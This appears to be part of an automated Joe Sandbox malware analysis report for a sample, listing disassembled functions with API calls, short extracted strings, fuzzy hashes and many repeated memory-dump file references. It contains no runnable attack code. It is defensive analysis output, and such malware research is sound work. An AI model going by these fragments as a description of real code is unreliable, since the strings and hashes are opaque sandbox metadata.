Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 665669b4b81937127b290555bb1e5be54b398af90a618f353bfc008e87b4d7e2
Instruction ID: d0b0b908d196872323bff84d6428999eaf199998a69815f768a94e3ab3c0457d
Opcode Fuzzy Hash: 665669b4b81937127b290555bb1e5be54b398af90a618f353bfc008e87b4d7e2
Instruction Fuzzy Hash: 0BF030B121C700DFDB045F269885A7EBBE4FB44310F61042EE6C986790DB7158809A57

Function 00C995B8 Relevance: 1.3, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00C99C34

Memory Dump Source

Source File: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 73bb2fb786585b4588ec2c7d4e8f9f258de88db5171c7479882fb54a7ebc0b7f
Instruction ID: d98689fd4cae9e1ec01de675dc80f0310e889a60a374b991b81d09e68d52ca2b
Opcode Fuzzy Hash: 73bb2fb786585b4588ec2c7d4e8f9f258de88db5171c7479882fb54a7ebc0b7f
Instruction Fuzzy Hash: 54D09E7404864DCFCF40AF75844C1AD7AE0FF05361F550A1CE8AA86684D7751C50DA1A

Non-executed Functions

Function 00C560E9 Relevance: 17.1, Strings: 13, Instructions: 807COMMON

Download Yara Rule

Strings

w}MI, xrefs: 00C56128
~mfQ, xrefs: 00C5613E
t~v:, xrefs: 00C561E7
JyTK, xrefs: 00C56160
L4, xrefs: 00C56BA0
*,-", xrefs: 00C566EF
ntxE, xrefs: 00C56112
pt}w, xrefs: 00C561F2
3F&D, xrefs: 00C56273
qRb`, xrefs: 00C56133
{zdy, xrefs: 00C5611D
L4, xrefs: 00C56780
uqrs, xrefs: 00C56AF0

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID: *,-"$3F&D$JyTK$ntxE$pt}w$qRb`$t~v:$uqrs$w}MI${zdy$~mfQ$L4$L4
API String ID: 0-2746398225
Opcode ID: d1c0b2dfdaef658814b30517ac23162de6eb8b9e2bd13a8592f2dd42512286f9
Instruction ID: 231b9b2971b4f13900b6d947a95a1cbf78cda15fec892b7053e5032797882bd9
Opcode Fuzzy Hash: d1c0b2dfdaef658814b30517ac23162de6eb8b9e2bd13a8592f2dd42512286f9
Instruction Fuzzy Hash: A54234B66083508FD7248F24D8917AFB7E2BFD5315F19893CD8DA8B256E7308849CB46

Function 00C681CC Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 593COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00C684BD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00C685B4

Strings

LF7Y, xrefs: 00C68951
_^]\, xrefs: 00C68A15

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: d01488718dfb6660a7d5e6e9c7fd103f5c626f885a2de35ce99a7eeb38d528ef
Instruction ID: a65a95b8f7c2e92022b617ff7753077679dcf21bdf8e8493537a7d510a1b925c
Opcode Fuzzy Hash: d01488718dfb6660a7d5e6e9c7fd103f5c626f885a2de35ce99a7eeb38d528ef
Instruction Fuzzy Hash: 7122F071908341CFE3248F28D88076EBBE1FF89310F294B6CE9A5572A1E731DA45DB56

Function 00C6A0CA Relevance: 4.1, Strings: 3, Instructions: 336COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00C6A49C, 00C6A188
.txt, xrefs: 00C6A371
<\hX, xrefs: 00C6A236

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID: .txt$<\hX$_^]\
API String ID: 0-3117400391
Opcode ID: 5e5eaab55f2ad58b63c0cbba36e635287f7d2be468efe6b43616794f6b710972
Instruction ID: 463c990d265c654148df53c812aef6c53004ca22532e017e063405af37290139
Opcode Fuzzy Hash: 5e5eaab55f2ad58b63c0cbba36e635287f7d2be468efe6b43616794f6b710972
Instruction Fuzzy Hash: 2BC111B160C340DFE714DF28D89172EBBE2AF85310F188A6CF4A5572A2E735DA45DB12

Function 00DAC0FE Relevance: 1.5, Strings: 1, Instructions: 249COMMON

Download Yara Rule

Strings

>, xrefs: 00DAC34B

Memory Dump Source

Source File: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: b9058c8ebea4bf93e5e035704541934cb97c0475766370f8f0124c24cd5dd1db
Instruction ID: 0ecf8fb1bce63ca6305458ff53494f801e916122c798f90c7c3710f479f2991e
Opcode Fuzzy Hash: b9058c8ebea4bf93e5e035704541934cb97c0475766370f8f0124c24cd5dd1db
Instruction Fuzzy Hash: 8B919CB3F115288BF3904D24CC583A27693D7D5325F2F82788E586B7C5E97EAD0A6384

Function 00D3C0EF Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

d, xrefs: 00D3C2D7

Memory Dump Source

Source File: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
